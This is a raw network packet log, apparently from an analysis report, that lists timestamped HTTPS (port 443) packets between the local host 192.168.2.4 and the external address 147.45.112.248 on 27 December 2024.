Dec 27, 2024 20:44:27.910772085 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.910787106 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.910851002 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.910859108 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.910902023 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.916578054 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.916593075 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.916646004 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.916654110 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.916697979 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.922039986 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.922060966 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.922121048 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.922128916 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.922187090 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.014763117 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.014781952 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.014837027 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.014847994 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.014884949 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.014910936 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.020504951 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.020523071 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.020565987 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.020576954 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.020607948 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.020627975 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.107631922 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.107656956 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.107714891 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.107722998 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.107750893 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.107764959 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.113126040 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.113146067 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.113190889 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.113198996 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.113243103 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.113277912 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.118263006 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.118279934 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.118318081 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.118325949 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.118350029 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.118369102 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.124063015 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.124079943 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.124118090 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.124125004 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.124157906 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.124176979 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.129764080 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.129780054 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.129825115 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.129834890 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.129873037 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.129890919 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.135612965 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.135629892 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.135695934 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.135695934 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.135706902 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.135760069 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.227412939 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.227436066 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.227482080 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.227492094 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.227524996 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.227545023 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.232970953 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.232986927 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.233050108 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.233057976 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.233099937 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.318265915 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.318283081 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.318329096 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.318335056 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.318368912 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.318382978 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.323550940 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.323570013 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.323616982 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.323623896 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.323637962 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.323662043 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.330337048 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.330353975 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.330416918 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.330429077 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.330460072 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.330478907 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.335714102 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.335730076 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.335782051 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.335789919 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.335820913 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.335829973 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.341500044 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.341516972 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.341597080 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.341603994 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.341644049 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.346437931 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.346455097 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.346513987 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.346520901 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.346549988 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.346570015 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.436280966 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.436304092 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.436372995 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.436382055 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.436424971 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.441390038 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.441407919 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.441469908 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.441478014 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.441519022 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.528837919 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.528853893 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.528939962 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.528950930 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.528992891 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.533956051 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.533972979 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.534037113 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.534043074 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.534085035 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.539737940 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.539752960 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.539814949 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.539824009 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.539870024 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.545497894 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.545515060 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.545569897 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.545577049 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.545604944 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.545627117 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.551369905 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.551386118 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.551449060 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.551456928 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.551495075 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.556551933 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.556572914 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.556628942 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.556638002 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.556667089 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.556688070 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.646326065 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.646343946 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.646408081 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.646420956 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.646469116 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.652079105 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.652095079 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.652167082 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.652173996 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.652218103 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.739464045 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.739480972 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.739574909 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.739583969 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.739741087 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.748799086 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.748815060 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.748879910 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.748886108 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.748931885 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.752476931 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.752494097 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.752681017 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.752688885 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.752736092 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.758023977 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.758039951 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.758111000 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.758119106 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.758161068 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.763865948 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.763883114 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.764116049 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.764122963 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.764307022 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.768939018 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.768954992 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.769013882 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.769022942 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.769063950 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.857073069 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.857089996 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.857156038 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.857168913 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.857213020 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.862879038 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.862894058 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.862956047 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.862963915 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.863107920 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.949887991 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.949904919 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.949970007 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.949978113 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.950015068 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.950032949 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.955754995 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.955771923 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.955938101 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.955945015 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.955995083 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.960901022 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.960916042 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.960968018 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.960974932 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.961016893 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.966736078 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.966756105 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.966793060 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.966799974 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.966829062 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.966839075 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.972413063 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.972429037 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.972481966 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.972489119 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.972610950 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.977502108 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.977518082 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.977576971 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:28.977585077 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:28.977627993 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.067823887 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.067842007 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.067929983 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.067969084 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.068227053 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.073549986 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.073568106 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.073626995 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.073636055 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.073681116 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.160708904 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.160727978 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.160799980 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.160816908 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.160859108 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.166326046 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.166344881 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.166397095 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.166404963 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.166440964 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.166455984 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.171370029 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.171386003 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.171452999 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.171462059 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.176145077 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.177290916 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.177308083 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.177364111 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.177378893 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.177423000 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.183211088 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.183228016 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.183283091 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.183291912 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.188143969 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.188808918 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.188824892 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.188884974 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.188894033 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.188936949 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.281018972 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.281035900 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.281086922 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.281102896 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.281130075 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.281147003 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.284307003 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.284322977 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.284388065 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.284396887 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.284440041 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.371119022 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.371134996 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.371237993 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.371253967 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.376157045 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.376810074 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.376827002 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.376880884 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.376889944 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.376921892 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.376943111 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.382656097 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.382674932 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.382725000 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.382731915 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.382765055 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.382786989 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.387749910 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.387767076 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.387842894 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.387851000 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.387897015 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.393775940 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.393791914 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.393868923 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.393877983 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.393918991 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.399456978 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.399475098 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.399540901 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.399552107 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.404153109 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.491167068 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.491183996 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.491250038 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.491261005 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.491277933 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.491300106 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.494935036 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.494952917 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.494998932 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.495007992 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.495053053 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.582937956 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.582953930 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.582998037 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.583010912 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.583024979 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.583067894 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.588558912 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.588581085 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.588643074 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.588651896 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:29.588677883 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:29.588699102 CET	49748	443	192.168.2.4	147.45.112.248
